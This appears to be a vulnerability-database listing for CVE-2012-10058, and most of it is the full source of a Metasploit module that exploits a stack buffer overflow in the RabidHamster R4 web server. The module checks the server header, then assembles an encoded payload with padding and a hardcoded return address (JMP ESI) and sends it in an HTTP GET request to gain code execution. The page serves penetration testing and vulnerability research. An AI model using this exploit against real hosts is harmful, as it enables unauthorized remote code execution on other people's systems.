RabidHamster R4 Log Entry sprintf() Buffer Overflow
🗓️ 09 Feb 2012 00:00:00Reported by Luigi Auriemma, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 48 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2012-10058 | 29 May 201815:50 | – | circl | |
| RabidHamster R4 安全漏洞 | 13 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10058 | 13 Aug 202520:52 | – | cve | |
| CVE-2012-10058 RabidHamster R4 Log Entry sprintf() Buffer Overflow | 13 Aug 202520:52 | – | cvelist | |
| EUVD-2012-6602 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10058 | 13 Aug 202521:15 | – | nvd | |
| PT-2025-33093 · Unknown · Rabidhamster | 13 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10058 | 15 Aug 202521:29 | – | redhatcve | |
| CVE-2012-10058 RabidHamster R4 Log Entry sprintf() Buffer Overflow | 13 Aug 202520:52 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in RabidHamster R4's web server.
By supplying a malformed HTTP request, it is possible to trigger a stack-based
buffer overflow when generating a log, which may result in arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' => [
'Luigi Auriemma', # Discovery, PoC
'sinn3r' # Metasploit
],
'References' => [
['CVE', '2012-10058'],
['OSVDB', '79007'],
['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
],
'Payload' => {
'StackAdjustment' => -3500,
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
},
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' => [
['R4 v1.25', { 'Ret' => 0x73790533 }] # JMP ESI (ddraw.dll)
],
'Privileged' => false,
'DisclosureDate' => '2012-02-09',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 8888])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})
if res and res.headers['Server'] == 'R4 Embedded Server'
return Exploit::CheckCode::Detected('Target service detected')
else
return Exploit::CheckCode::Safe('Target service was not detected')
end
end
def exploit
buf = ''
buf << payload.encoded
buf << rand_text_alpha(2022 - buf.length, payload_badchars)
buf << [target.ret].pack("V*")
buf << pattern_create(200)
buf << rand_text_alpha(3000 - buf.length, payload_badchars)
send_request_cgi({
'method' => 'GET',
'uri' => "/?#{buf}"
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Feb 2012 00:00Current
6Medium risk
Vulners AI Score6
CVSS 410
EPSS0.01412
SSVC